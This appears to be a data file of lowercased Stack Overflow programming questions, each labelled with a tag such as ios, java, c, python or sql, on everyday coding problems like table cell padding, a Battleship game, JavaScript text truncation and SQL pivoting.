get rid of padding in cells (set image to size of cell)  <img src= https://i.stack.imgur.com/sh6j3m.jpg  alt= image of table cells >    i have a table that presents images  the image is pinned to all four sides of the cell. the cell is of height 200  but there seems to be black paddings inside the cell for each image. i don t know where the padding is coming from since i figured if i pin the image to the cell it shouldn t have any padding     note: i subclass uitableviewcell so  self  is the cell itself   <pre><code>[self.thumbnail autopinedge:aledgeright toedge:aledgeright ofview:self]; [self.thumbnail autopinedge:aledgeleft toedge:aledgeleft ofview:self]; [self.thumbnail autopinedge:aledgetop toedge:aledgetop ofview:self]; [self.thumbnail autopinedge:aledgebottom toedge:aledgebottom ofview:self]; [self.thumbnail autosetdimension:aldimensionheight tosize:200]; </code></pre>   and then inside the uitablecontroller i have   <pre><code>- (cgfloat)tableview:(uitableview *)tableview heightforrowatindexpath:(nsindexpath *)indexpath {   return 200; } </code></pre>,ios
battleship attack method java  i am well and truly stuck on this method. i need to create an attack method for a computerplayer that chooses a random location and attacks the other player s board. then  there is an attack method where i have to just attack the other player s board. however  when i run the program and place my guesses on my board (gui)  the dots just appear on the computerplayer s board. i don t know why my methods are wrong though.   <pre><code>/**  * attack the specified location loc.  marks  *   the attacked location on the guess board  *   with a positive number if the enemy player  *   controls a ship at the location attacked;  *   otherwise  if the enemy player does not  *   control a ship at the attacked location   *   guess board is marked with a negative number.  *  * if the enemy player controls a ship at the attacked  *   location  the ship must add the location to its  *   hits taken.  then  if the ship has been sunk  it  *   is removed from the enemy player s list of ships.  *  * return true if the attack resulted in a ship sinking;  *   false otherwise.  *  * @param enemy  * @param loc  * @return  */ @override public boolean attack(player enemy  location loc) {     int[][] array = getguessboard();     if(!enemy.hasshipatlocation(loc))         array[loc.getrow()][loc.getcol()] = -1;     else     {         array[loc.getrow()][loc.getcol()] = 1;         enemy.getship(loc).takehit(loc);     }      if(enemy.getship(loc).issunk()) {         enemy.removeship(enemy.getship(loc));         return true;     }     return false; }    @override public boolean attack(player enemy  location loc) {     int range = (10 - 0) + 1;     int r = (int) math.random() * range;     int c = (int) math.random() * range;     int[][] array = getguessboard();      if(array[r][c] != -1)     {         if(!enemy.hasshipatlocation(loc))             array[loc.getrow()][loc.getcol()] = -1;          else         {             array[loc.getrow()][loc.getrow()] = 1;             enemy.getship(loc).takehit(loc);         }          if(getship(loc).issunk())         {             enemy.removeship(enemy.getship(loc));             return true;         }     }     return false; } </code></pre>   gui for game   <pre><code>     import javax.imageio.imageio;      import java.awt.*;      import java.awt.event.mouseevent;      import java.awt.event.mouselistener;      import java.awt.image.bufferedimage;      import java.io.file;      import java.io.ioexception;  public class battleshipdriver extends canvas implements mouselistener { public static final int width = 1024  height = width / 12 * 9; private battleship battleship; private int x  y  squaresize  len; private player p1  p2; private bufferedimage logo  end;  public battleshipdriver() {     battleship = new battleship();     battleship.addplayer(new humanplayer( mr. hubbard ));     battleship.addplayer(new computerplayer( alphabattleship ));      x = 90;     y = 200;     squaresize = 36;     len = squaresize * 10 - 1;     p1 = battleship.getplayer(0);     p2 = battleship.getplayer(1);      // get battleship logo     try {         logo = imageio.read(new file( src/logo.png ));     } catch (ioexception e) {         e.printstacktrace();     }      // get end screen     try {         end = imageio.read(new file( src/end.png ));     } catch (ioexception e) {         e.printstacktrace();     }      addmouselistener(this);      new window(width  height   battleship   this);      try {         thread.sleep(100);     } catch(interruptedexception ex) {         thread.currentthread().interrupt();     }      render(); }  private void render() {     graphics g = getgraphics();      // background     g.setcolor(color.dark_gray);     g.fillrect(0  0  width  height);      if(!battleship.gameover())     {         // boards         rendergrid(g  x  y  squaresize);         renderguesses(g  p1  x  y  squaresize);         rendergrid(g  570  y  squaresize);         renderguesses(g  p2  570  y  squaresize);          // names         g.setcolor(color.white);         g.drawstring(p1.getname()  x  y + 25 + len);         g.drawstring(p2.getname()  570  y + 25 + len);     }     else     {         // end screen         g.drawimage(end  0  0  this);         g.setcolor(color.white);         g.setfont(new font( arial   1  squaresize));         string winner = battleship.getwinner().getname();         g.drawstring(winner  width / 2 - (winner.length() * squaresize / 4)  height / 4);         g.drawstring( wins!   width / 2 - ( wins! .length() * squaresize / 4)  height / 4 + squaresize);     }      // battleship logo     g.drawimage(logo  width / 2 - 246  10  this);      g.dispose(); }  private void rendergrid(graphics g  int x  int y  int s) {     g.setcolor(color.white);     g.setfont(new font( arial   1  s / 2));      // row lines     for(int i = 0; i &lt; 11; i++)         g.drawline(x  y+i*s  x+len  y+i*s);      // column lines     for(int i = 0; i &lt; 11; i++)         g.drawline(x+i*s  y  x+i*s  y+len);      // row markers     for(int i = 0; i &lt; 10; i++) //marks row coordinates on side         g.drawstring(i +     x-(int)(s*0.43)  y+(int)(s*0.67)+s*i);      // column markers     for(int i = 0; i &lt; 10; i++)     //marks column coordinates on top         g.drawstring(i +     x+(int)(s*0.4)+s*i  y-(int)(s*0.2)); }  public void renderguesses(graphics g  player player  int x  int y  int s) {     int[][] guessboard = player.getguessboard();     for(int r = 0; r &lt; guessboard.length; r++)         for(int c = 0; c &lt; guessboard[r].length; c++)             if(guessboard[r][c] &gt; 0)    // hit             {                 g.setcolor(color.red);                 g.filloval(c*s+x+(int)(s*0.35)  r*s+y+(int)(s*0.35)  (int)(s*0.33)  (int)(s*0.33));             }             else if(guessboard[r][c] &lt; 0)   // miss             {                 g.setcolor(color.white);                 g.filloval(c*s+x+(int)(s*0.35)  r*s+y+(int)(s*0.35)  (int)(s*0.33)  (int)(s*0.33));             } }  @override public void mouseclicked(mouseevent e) {     int r = e.gety();     int c = e.getx();      int len = squaresize * 10 - 1;     if(r &gt; y &amp;&amp; r &lt; y + len &amp;&amp; c &gt; x &amp;&amp; c &lt; x + len)    // clicked on board     {         int row = (r - y) / squaresize;         int col = (c - x) / squaresize;          system.out.println(row +      + col);          location loc = new location(row  col);         if(p1.getguessboard()[row][col] == 0)         {             p1.attack(p2  loc);             p2.attack(p1  loc);         }          battleship.upkeep();         render();     }      system.out.println(r +      + c); }  @override public void mousepressed(mouseevent e) {}  @override public void mousereleased(mouseevent e) {}  @override public void mouseentered(mouseevent e) {}  @override public void mouseexited(mouseevent e) {}  public static void main(string[] args) {     new battleshipdriver(); } </code></pre>   },java
how can i create a webservice which is checking table for some periodically in database in asp.net   i wanted to checking my database table for periodically.so how can i create a webservice and how can i configure it.,asp.net
linkshare integration in iphone  i want to integrate linkshare affiliated link into the my iphone application.     i have already created the links for the applications which i want to sell from within my application using my linkshare account.    but the only problem is how would i get the logo  name and description of those applications. is there any kind of itunes or other api available     thanks in advance.,iphone
retrieving string from clipboard in java  i am trying to get some text from the clipboard using this method  but it throws an exception into the string instead of the text.     am i just doing it wrong or something    <pre><code>transferable t = cb.getcontents(null); string begin = t.tostring(); system.out.println( successfully fetched: ); system.out.println(begin); </code></pre>   throws this error:    <blockquote>    sun.awt.datatransfer.clipboardtransferable@6d03e736  </blockquote>,java
best practice with many parameters in constructor   if i have a view which need access to 5 different repositories i am doing this right now :    <pre><code>public class myclass {    private readonly irepo1 rep1;    private readonly irepo2 rep2;    ...    public myclass(irepo1 r1  irepo2 r2  irepo3 r3  irepo4 r4...)    {       rep1 = r1;       rep2 = r2;       re3 = r3;    } } </code></pre>   the problem with this approach is that constructor gets bigger and bigger and if something changes in the constructor  i have to edit changes all the way through the system. how to avoid this problem      i thought about creating a builder class which would be responsible for creating repositories and parse them to the views. or is this a bad approach,c#
dynamically shortened text with  read more  link using javascript  i m using below code to create a functionality for  read more  using java script  but unable to come up with proper functionality. my limitation is that i can t use jquery in code.    html code:-   <pre><code>&lt;div id= gbplandingrgtbtmcntt  &gt;   &lt;%out.flush();%&gt;     &lt;c:import url= ${jspstoredir}/snippets/marketing/content/contentspotdisplay.jsp &gt;       &lt;c:param name= spotname  value= givebackprgm_landing_right_bottom_content_spot  /&gt;       &lt;c:param name= catalogid  value= ${wcparam.catalogid}  /&gt;       &lt;c:param name= storeid  value= ${wcparam.storeid}  /&gt;     &lt;/c:import&gt;   &lt;%out.flush();%&gt; &lt;/div&gt; </code></pre>   javascript code:-   <pre><code>&lt;script&gt;   window.onload = dynamicexpandshortenedtext();    function dynamicexpandshortenedtext() {      var showchar = 1500;     var ellipsistext =  ... ;     var moretext =  read more ;     var lesstext =  read less ;     var rgtbtmcnttelement = document.getelementbyid( gbplandingrgtbtmcntt );     var rgtbtmcntthtml = rgtbtmcnttelement.innerhtml;     alert(rgtbtmcntthtml.length);     alert(showchar);     if(rgtbtmcntthtml.length &gt; showchar) {        var c = rgtbtmcntthtml.substr(0  showchar);       var h = rgtbtmcntthtml.substr(showchar-1  rgtbtmcntthtml.length - showchar);       var html = c +  &lt;span&gt;  + ellipsistext +  &amp;nbsp;&lt;/span&gt;        +  &lt;span&gt;  + h +  &lt;/span&gt;        +  &amp;nbsp;&amp;nbsp;&lt;a id= dynamicmorelessanchorid  href= #  onclick= javascript:switchmorelesslink();return false; &gt;  + moretext +  &lt;/a&gt; ;        rgtbtmcnttelement.innerhtml = html;     }   }    function switchmorelesslink() {     var moretext =  read more ;     var lesstext =  read less ;     var dynamicmorelessanchoridelement = document.getelementbyid( dynamicmorelessanchorid );     if(dynamicmorelessanchoridelement.classname ==  less ){       dynamicmorelessanchoridelement.classlist.remove( less );       dynamicmorelessanchoridelement.innerhtml = moretext;     } else {       dynamicmorelessanchoridelement.classlist.add( less );       dynamicmorelessanchoridelement.innerhtml = lesstext;     }     dynamicmorelessanchoridelement.getparent().prev().toggle();     dynamicmorelessanchoridelement.prev().toggle();     return false;    }  &lt;/script&gt; </code></pre>   please suggest where i m wrong.,javascript
render datetime.now directly in the aspx page  i am trying to do the following directly into the aspx page but it is not showing the date value. i dont want to do it from the code behind. am i missing something small here  pls suggest.   <pre><code>&lt;asp:literal id= ltrdate  text= &lt;% datetime.now.tolongtimestring() %&gt;  runat= server &gt;&lt;/asp:literal&gt; </code></pre>   even the use of hash in the expression &lt;%#datetime.now.tolongtimestring() %> does not work.,asp.net
how to setup hessian kit in iphone existing projects  can any one help me to find out  how i can setup hessian kit on existing iphone project. what are the steps required to run a simple hello world program.    i have hessian kit (<a href= http://sourceforge.net/projects/hessiankit/  rel= nofollow noreferrer >http://sourceforge.net/projects/hessiankit/</a>) but don t know how i can include this in my existing project.    please help    thanks sd,iphone
trying to scope the users information  i need to use the current user his id for a filter on a ng-repeat. i m still trying to get a good grasp on angular  so my assumption may be wrong. but i was thinking if i can put the current users information (name  id  email etc) in a scope  i can then use that scope to insert the id into the filter in the angular controller.    so i ve created <code>users_controller.rb</code>   <pre><code>def index   respond_with current_user end </code></pre>   so it only shows the current user his information.    i ve added a resource to my <code>routes.rb</code>   <pre><code>resources :users  </code></pre>   then i created a factory to retrieve the json information in my <code>userservice.js</code>   <pre><code>.factory( userservice   [    $http   function($http) {     return {       loadusers: function() {         return $http.get(( /users.json ) { cache: true}).           success(function (data  status  headers  config) {              if (status == 200) {               console.log( succes )             } else {               console.error( error happened while getting the user list. )             }            })       }     };   } ]) </code></pre>   then console log in the browser says <code>succes</code>  so i m assuming it s retrieving the data from the users.json file.    and then in my <code>maincontroller.js</code> i created a function that saves the response data from the factory service in a scope   <pre><code>  userservice.loadusers().then(function(response) {     $scope.users = response.data;   });    console.log ($scope.users) </code></pre>   but this <code>console.log</code> gives a result of <code>undefined</code>. so my first question is  does anyone know why i m getting a <code>undefined</code> instead of the information of the current user.    my second question is  if we work out the first problem and i can store the information in a <code>$scope.users</code> is it possible to use that information in my controller like so    <pre><code>  var user_id = $scope.user.id   $scope.user_id = user_id; </code></pre>,angularjs
convert an html form in rails  i need help  i m trying to implement a form in javascript that catches through the zip code  all state information  city  street  etc.    well  i m new to rails and i m having some difficulty to do it alone.    i would like to know how to implement it in the best way in this form.    for example there are some codes that do not know how to declare the rails  ex .:    original form   <pre><code> &lt;form method= get  action= . &gt; </code></pre>   and   <pre><code>onblur= pesquisacep(this.value); </code></pre>   how to declare this in rails     thank you    my form and js   <pre><code>    function limpa_formulário_cep() {             //limpa valores do formulário de cep.             document.getelementbyid( rua ).value=(  );             document.getelementbyid( bairro ).value=(  );             document.getelementbyid( cidade ).value=(  );             document.getelementbyid( uf ).value=(  );             document.getelementbyid( ibge ).value=(  );     }      function meu_callback(conteudo) {         if (!( erro  in conteudo)) {             //atualiza os campos com os valores.             document.getelementbyid( rua ).value=(conteudo.logradouro);             document.getelementbyid( bairro ).value=(conteudo.bairro);             document.getelementbyid( cidade ).value=(conteudo.localidade);             document.getelementbyid( uf ).value=(conteudo.uf);             document.getelementbyid( ibge ).value=(conteudo.ibge);         } //end if.         else {             //cep não encontrado.             limpa_formulário_cep();             alert( cep não encontrado. );         }     }      function pesquisacep(valor) {          //nova variável  cep  somente com dígitos.         var cep = valor.replace(/\d/g    );          //verifica se campo cep possui valor informado.         if (cep !=   ) {              //expressão regular para validar o cep.             var validacep = /^[0-9]{8}$/;              //valida o formato do cep.             if(validacep.test(cep)) {                  //preenche os campos com  ...  enquanto consulta webservice.                 document.getelementbyid( rua ).value= ... ;                 document.getelementbyid( bairro ).value= ... ;                 document.getelementbyid( cidade ).value= ... ;                 document.getelementbyid( uf ).value= ... ;                 document.getelementbyid( ibge ).value= ... ;                  //cria um elemento javascript.                 var script = document.createelement( script );                  //sincroniza com o callback.                 script.src =  //viacep.com.br/ws/ + cep +  /json/ callback=meu_callback ;                  //insere script no documento e carrega o conteúdo.                 document.body.appendchild(script);              } //end if.             else {                 //cep é inválido.                 limpa_formulário_cep();                 alert( formato de cep inválido. );             }         } //end if.         else {             //cep sem valor  limpa formulário.             limpa_formulário_cep();         }     };     function pesquisacep(valor) {      //nova variável  cep  somente com dígitos.     var cep = valor.replace(/\d/g    );      //verifica se campo cep possui valor informado.     if (cep !=   ) {        //expressão regular para validar o cep.       var validacep = /^[0-9]{8}$/;        //valida o formato do cep.       if(validacep.test(cep)) {          //preenche os campos com  ...  enquanto consulta webservice.         document.getelementbyid( rua ).value= ... ;         document.getelementbyid( bairro ).value= ... ;         document.getelementbyid( cidade ).value= ... ;         document.getelementbyid( uf ).value= ... ;         document.getelementbyid( ibge ).value= ... ;          //cria um elemento javascript.         var script = document.createelement( script );          //sincroniza com o callback.         script.src =  //viacep.com.br/ws/ + cep +  /json/ callback=meu_callback ;          //insere script no documento e carrega o conteúdo.         document.body.appendchild(script);        } //end if.       else {         //cep é inválido.         limpa_formulário_cep();         alert( formato de cep inválido. );       }     } //end if.     else {       //cep sem valor  limpa formulário.       limpa_formulário_cep();     }   };   &lt;%= form_for(@pro) do |f| %&gt;           &lt;% if @pro.errors.any  %&gt;             &lt;div id= error_explanation &gt;               &lt;h2&gt;&lt;%= pluralize(@pro.errors.count   error ) %&gt; prohibited this pro from being saved:&lt;/h2&gt;                &lt;ul&gt;               &lt;% @pro.errors.full_messages.each do |message| %&gt;                 &lt;li&gt;&lt;%= message %&gt;&lt;/li&gt;               &lt;% end %&gt;               &lt;/ul&gt;             &lt;/div&gt;           &lt;% end %&gt;            &lt;div class= form-group &gt;             &lt;%= label_tag  escolher categoria principal  %&gt;&lt;br&gt;             &lt;%= f.collection_select  :categoria  segmento.order(:categoria)  :id  :categoria  {prompt:  selecione uma categoria }  {class:  form-control } %&gt;           &lt;/div&gt;           &lt;div class= form-group &gt;             &lt;%= f.label :sugerir %&gt;&lt;br&gt;             &lt;%= f.text_field :sugerir  {class:  form-control } %&gt;           &lt;/div&gt;           &lt;div class= form-group &gt;             &lt;%= f.label :proname %&gt;&lt;br&gt;             &lt;%= f.text_field :proname  {class:  form-control } %&gt;           &lt;/div&gt;           &lt;div class= form-group &gt;             &lt;%= f.label :email %&gt;&lt;br&gt;             &lt;%= f.text_field :email  {class:  form-control } %&gt;           &lt;/div&gt;           &lt;div class= form-group &gt;             &lt;%= f.label :cep %&gt;&lt;br&gt;             &lt;%= f.text_field :cep   {class:  form-control   name:  cep   id:  cep } %&gt;           &lt;/div&gt;           &lt;div class= form-group &gt;             &lt;%= f.label :estado %&gt;&lt;br&gt;             &lt;%= f.text_field :estado  {class:  form-control   name:  uf   id:  uf } %&gt;           &lt;/div&gt;           &lt;div class= form-group &gt;             &lt;%= f.label :cidade %&gt;&lt;br&gt;             &lt;%= f.text_field :cidade  {class:  form-control   name:  cidade   id:  cidade } %&gt;           &lt;/div&gt;           &lt;div class= form-group &gt;             &lt;%= f.label :telefone %&gt;&lt;br&gt;             &lt;%= f.text_field :telefone  {class:  form-control } %&gt;           &lt;/div&gt;           &lt;div class= form-group &gt;             &lt;%= f.label :celular %&gt;&lt;br&gt;             &lt;%= f.text_field :celular  {class:  form-control } %&gt;           &lt;/div&gt;           &lt;div class= form-group &gt;             &lt;%= f.label :operadora %&gt;&lt;br&gt;             &lt;%= f.collection_select  :operadora  operadora.order(:operadoras)  :id  :operadoras  {prompt:  selecione sua operadora }  {class:  form-control } %&gt;            &lt;/div&gt;           &lt;div class= form-group &gt;&lt;br&gt;             &lt;%= f.check_box :termos %&gt;&amp;nbsp             &lt;%= label_tag  aceitar os termos do serviço  %&gt;            &lt;/div&gt;           &lt;div class= actions &gt;             &lt;%= f.submit %&gt;           &lt;/div&gt;         &lt;% end %&gt;  form original in html          &lt;!-- inicio do formulario --&gt;       &lt;form method= get  action= . &gt;         &lt;label&gt;cep:         &lt;input name= cep  type= text  id= cep  value=   size= 10  maxlength= 9                 onblur= pesquisacep(this.value);  /&gt;&lt;/label&gt;&lt;br /&gt;         &lt;label&gt;rua:         &lt;input name= rua  type= text  id= rua  size= 60  /&gt;&lt;/label&gt;&lt;br /&gt;         &lt;label&gt;bairro:         &lt;input name= bairro  type= text  id= bairro  size= 40  /&gt;&lt;/label&gt;&lt;br /&gt;         &lt;label&gt;cidade:         &lt;input name= cidade  type= text  id= cidade  size= 40  /&gt;&lt;/label&gt;&lt;br /&gt;         &lt;label&gt;estado:         &lt;input name= uf  type= text  id= uf  size= 2  /&gt;&lt;/label&gt;&lt;br /&gt;         &lt;label&gt;ibge:         &lt;input name= ibge  type= text  id= ibge  size= 8  /&gt;&lt;/label&gt;&lt;br /&gt;       &lt;/form&gt;     &lt;/body&gt;      &lt;/html&gt; </code></pre>,ruby-on-rails
concerns with activesupport::concern  i am in need of adding set of generic methods to an existing model. i ve found this tutorial:    <a href= http://chris-schmitz.com/extending-activemodel-via-activesupportconcern/  rel= nofollow >http://chris-schmitz.com/extending-activemodel-via-activesupportconcern/</a>    which in my opinion is what i am aiming at (i want to have a module which will be added to the model to add some methods to it - a sort of mixin).    now even if i do plain copy paste from the tutorial i am struck at the following error (with no further explanation):   <pre><code>undefined method `key   for nil:nilclass </code></pre>   here is what my model looks like:   <pre><code>class folder &lt; activerecord::base     attr_accessible :name  :parent_id      has_default    validates :name  presence: true end </code></pre>   the moment i remove <strong>has_default</strong> everything goes back to normal,ruby-on-rails
accessing a specific object by name/number   i m returning some data  and testing my return by using <code>var_dump($this);</code>. it returns the following:   <pre><code>object(reportingservice)#333 (2) {   [ _arrerrors ]=&gt;   array(0) {   }   [ namews ]=&gt;   string(14)  reportingstuff  } { arrmessages :[{ _strmessage : example.   _strtype : valid   _strmodule :null}]  arrcontent :{ issuccess : 1   statistics : &lt;div id=\ entities\ &gt; </code></pre>   what i am trying to do is to access the <code>namews</code> property of the object  but cannot seem to do so.    what i ve tried:   <pre><code>var_dump($this[0]-&gt;namews); </code></pre>,php
"validation output error: there is no attribute  leftmargin   <strong>there is no attribute  leftmargin </strong>    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;body bgcolor= #ffffff  leftmargin= 0  topmargin= 0  marginwidth= 0  marginheig…</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;
 &lt;html xmlns= http://www.w3.org/1999/xhtml  xml:lang= en  lang= en &gt;
 &lt;head&gt;</code></pre>
 </div>
 </div>
     not sure what s wrong  any tips",html
microchip rn4020 -> mldp mode ios sample code  it has been now several years that microchip has released the rn4020 bt le chip with the private mldp profile. however  as of yet there is still no publicly available ios sample source code available  despite them having an ios app in the apple app store. has anyone any working code and willing to share/post it     thanks!    tim,ios
<marquee> tag  show text immediately  the text now with <code>&lt;marquee&gt;</code> tahg appears on one side only when the other disappear completely. you need to wait until all the text disappears and only then he come from other side. how to make text disappear soon appear on the other side     i hope you understand my problems.,html
can you code a class function outside of a class in php   in c++  i code this way:   <pre><code>//foo.h     class cbar {     void foobar(); } </code></pre>  <hr>  <pre><code>//foo.cpp void cbar::foobar() {     //code } </code></pre>   i tried to do this on php but the parser would complain. php s documentation also doesn t help. can this be done in php,php
python import module load_source  i have question on the load_source.    when my 2 <code>.py</code> files are in the same directory <code>/home/pi</code> they work fine.    main.py   <pre><code> #!/usr/bin/python import buttonlog </code></pre>   buttonlog.py   <pre><code>import datetime i = datetime.datetime.now()  #open file &amp; append f=open( buttonlog.txt   a ) #write date then new line with the  \n  f.write(i.isoformat() +  \n ) </code></pre>   when i run python main.py it writes an entry like i d expect.  however i d like to store <code>main.py</code> in another directory so i tried this  it is stored in the <code>/home/pi/test</code>   <pre><code>#!/usr/bin/python import imp imp.load_source( buttonlog    /home/pi/buttonlog.py ) </code></pre>   when i run python <code>/home/pi/test/main.py</code> i do not get any errors nor does it write an entry into my file. what am i doing wrong,python
how do i apply a style programmatically   i have a styles called red and green and i have an if statment to find out which to apply  but i don t know the code to actually apply a style from the java.,android
displaying image in text box  i have a textbox for search. how to display image in textbox..eg: searchbox available on most of the websites with search image inside it,html
is there a way to drag the items of a uitableview up and down to change their order    is there a way to drag the items of a uitableview up and down to change their order      see the example (the small arrows indicate the items are movable): <a href= http://cl.ly/972u  rel= nofollow >http://cl.ly/972u</a>    or should i use another user interface widget      thanks,ios
html table with table-layout fixed in div with overflow in ie6  i m having a problem with ie6 in my layout. here s the sample.   <pre><code> &lt;div style= overflow:hidden; &gt;     &lt;table style= table-layout: fixed;  width= 100%  border= 0  cellpadding= 4  cellspacing= 0 &gt;                     &lt;colgroup&gt;                         &lt;col width= 30px  /&gt;                         &lt;col width= 100px  /&gt;                         &lt;col width= 200px  /&gt;                         &lt;col width= 150px  /&gt;                         &lt;col width= 300px  /&gt;                         &lt;col width= 320px  /&gt;                         &lt;col /&gt;                     &lt;/colgroup&gt;                     &lt;tr&gt;                         &lt;td&gt;                             &amp;nbsp;                         &lt;/td&gt;                         &lt;td class= gridheader &gt;                             condition                         &lt;/td&gt;                         &lt;td&gt;                             condition description                         &lt;/td&gt;                         &lt;td&gt;                             fixed item                         &lt;/td&gt;                         &lt;td&gt;                             optional item                         &lt;/td&gt;                         &lt;td&gt;                         &lt;/td&gt;                     &lt;/tr&gt;                 &lt;/table&gt;             &lt;/div&gt; </code></pre>   in ie6  when i try to resize the browser width to be smaller (or when the number columns exceeds the browser width) and when the div hit the right most column  it stopped resizing and the browser scroll appears which shouldn t happen. does anyone know workaround for this  any advice will be appreciated.    regards  nay min,html
how are bunched together operators in c++ separated  in c++     <pre><code>is  (a+++b) processed as  ((a++) + b)  or  (a + (++b)) </code></pre>   where is this clarified in the standard     <hr>   the first part of this question has many answers  but the specific question where in the standard is this clarified is not answered very clearly elsewhere.    for those interested  it is at 2.4.3 in the 2003 c++ standard (iso/iec 14882)    <em> if the input stream has been parsed into preprocessing tokens up to a given character  the next preprocessing token is the longest sequence of characters that could constitute a preprocessing token  even if that would cause further lexical analysis to fail. </em>,c++
ios uiaccessibilityisguidedaccessenabled() always return no  it seems like a bug introduced with version 11. this used to work in ios 10  but now i always get false. anything obvious i am missing,ios
how to count characters except double or single quotes   i m new to programming and learning c through a book.     the author of the book explains about logical operators (and  not and or) by giving the following example which counts the number of characters except the double or single quotes and period character.    <strong>i couldn t understand how it counts the number of characters except the quotes and period character. i understand that with the and operator both conditions should be true.</strong>   <pre><code>#include &lt;stdio.h&gt; #define period  .  int main(void) {     char ch;     int charcount = 0;      while ((ch = getchar()) != period)     {         if (ch !=     &amp;&amp; ch !=  \  )             charcount++;     }     printf( there are %d non-quote characters.\n   charcount);     return 0; } </code></pre>,c
where to put a re-usable code  i have create a wrapper for the strncpy function.     i will have to use this in my project which contains many headers and source files (about 20 all together). and this wrapper will be used in most of them.    as the code is very short i am wondering where is the best way to implement this wrapper into my project     i am thinking this might be useful to have this in a header called utilities.h. and include this header in every source file that needs it     and maybe any future projects as well     i am new at c program  so just looking for some good guidance on this issue.     many thanks    <pre><code>/* null terminate a string after coping */ char* strncpy_wrapper(char *dest  const char* source                         const size_t dest_size) {     strncpy(dest  source  dest_size);     /*       * if the destination is greater than zero terminate with a null.      */     if(dest_size &gt; 0)     {         dest[dest_size - 1] =  \0 ;     }      return dest; } </code></pre>,c
how can i run this program multiple times without exiting   i want <code>supermercado()</code> to execute again after it finishes.    here is the code:   <pre><code>def supermercado():               problema: realizar software para una tienda/micro empresa/supermercado/     que facture lo comprado por un cliente.      entrada: nombre del mesero  mesa  cantidad de productos  totalidad  cambio      tipo de metodo de pago.      salida: software de facturacion terminado.              print(                       mac donalds inc.                    cra 24c # 49 - 39                       cali  valle          telefono 342 1470 celular 317 3799890        )      print(  )      mesero = str(input( nombre del mesero que atendio pedido:  ))     mesa = input( que mesa fue atendida:  )     producto = input( producto a llevar:  )     precio_total = int((int(input( añada precio del producto:  )))* (int(input( cantidad del producto:  ))))      #preguntaremos si necesita otro producto en su pedido      print(  )     print(  )     print( si quieres añadir mas productos marca y o marque otra tecla para finalizar con la compra )     print(  )     mas_productos = input( añadir mas productos:  )      while mas_productos == ( y ) or mas_productos == ( y ):          producto = str((producto) +       + input( producto a llevar:  ))         precio_total = int( (precio_total) + int((int(input( añada precio del producto:  )))* (int(input( cantidad del producto:  )))))         total_producto =  int(((precio_total) + ((precio_total * 8)/(100))))         mas_productos = input( añadir mas productos:  )      total_producto =  int(((precio_total) + ((precio_total * 8)/(100))))     print(  )     print(  )     print( precio total $   + str(total_producto))     print(  )     print(  )     print(   medios de pago disponible:  1 - tarjeta de credito (5% de descuento en su compra) 2 - dinero en efectivo. 3 - bonos de descuento.    )      print(  )     print(  )     pago = int(input( medio de pago a usar:  ))      if pago == 1:          print(  )         pago_tarjeta = int(((total_producto) - ((total_producto * 5)/(100))))         print( te atendio   + mesero)         print(  )         print( compraste los siguentes productos:   + producto)         print(  )         print( el precio total a pagar fue $   + str(pago_tarjeta))         print(  )         print( gracias por tu compra  ¡te esperamos de nuevo! )       if pago == 2:          dinero_cliente = int(input( efectivo dado:  ))          pago_efectivo = int((dinero_cliente) - (total_producto))          print(  )                            print( te atendio   + mesero)         print(  )         print( compraste los siguentes productos:   + producto)         print(  )         print( el precio total a pagar fue $   + str(total_producto))         print( cambio dado:   + str(pago_efectivo))         print(  )         print( gracias por tu compra  ¡te esperamos de nuevo! )      if pago == 3:          bono = int(input( por cuanto monto de dinero es el bono:  ))          if bono == total_producto:              print(  )                    print( te atendio   + mesero)             print(  )             print( compraste los siguentes productos:   + producto)             print(  )             print( gracias por utilizar tu bono  la compra fue paga a su totalidad )             print(  )             print( gracias por tu compra  ¡te esperamos de nuevo! )          elif bono &lt; total_producto:              print(  )             print( te atendio   + mesero)             print(  )             bono_devuelta = int((total_producto) - (bono))             print( tienes que dar de excedente $   + str(bono_devuelta))             print( compraste los siguentes productos:   + producto)             print(  )             print( gracias por utilizar tu bono )             print(  )             print( gracias por tu compra  ¡te esperamos de nuevo! )           elif bono &gt; total_producto:              print(  )             print( te atendio   + mesero)             print(  )             bono_disponible = int((bono) - (total_producto))             print( tienes disponible en tu bono $   + str(bono_disponible) +   para tu proxima compra )             print( compraste los siguentes productos:   + producto)             print(  )             print( gracias por utilizar tu bono )             print(  )             print( gracias por tu compra  ¡te esperamos de nuevo! )          else:             print( te atendio   + mesero)             print(  )             print( gracias por venir a visitarnos  ¡te esperamos de nuevo! )  supermercado() </code></pre>,python
char* to std::string  i have a character array (char* pdata) in c++  what i want to do is to copy some data (from pdata) in std::string. the code looks like this:   <pre><code>std::string ssomedata(pdata+8);//i want to copy all data starting from index 8 till end </code></pre>   the problem is that when above statement executes the string contains nothing in it.  i guess that my pdata is not terminated with  \0  thats why its not working.    regards  jame.,c++
twitter-style follower/following/friend sql query  i m working on a twitter type of following system. i m joining two tables  users and followers to get the first and lastname of users who are in the followers table. then i m running an inner join on the followers table to capture follower and friend relationships. i m displaying the results as followers (who follows you)  following (who you follow)  and friends (mutual following).    with the query below  i m only able to show the name of the user who wants to see their friends. i d like to show the friends of the user  not the user s own name  but can t figure out how to get the users table to do double duty--that is  show me the name of the user and the name of their friend  or just the friend s name.    thanks.   <pre><code>select users.id  users.firstname  users.lastname  followers.follower_user_id  followers.followee_user_id             from users             join followers on followers.follower_user_id = users.id             inner join followers ff on followers.followee_user_id = ff.follower_user_id and followers.follower_user_id = ff.followee_user_id </code></pre>,mysql
is sql powerful enough to do this   our legacy app exports data into an sql table in the following format   <pre><code>**row#** | **column#** | **parameter** | **value** </code></pre>   e.g.   <pre><code>1 | 1 | name  | michael  1 | 2 | age   | 30  1 | 3 | email | email@email.com  2 | 1 | name  | brian  2 | 2 | age   | 45  2 | 3 | email | brian@email.com </code></pre>   and i need to  using only sql  return something like this   <pre><code>**name** | **age** | **email**  michael  |    30   | email@email.com  brian    |    45   | brian@email.com </code></pre>   is this possible  if so  how  further details:   <ul> <li> the number of columns and the column names are fixed and could be hard coded </li> <li> the number of rows is not fixed </li> </ul>,sql
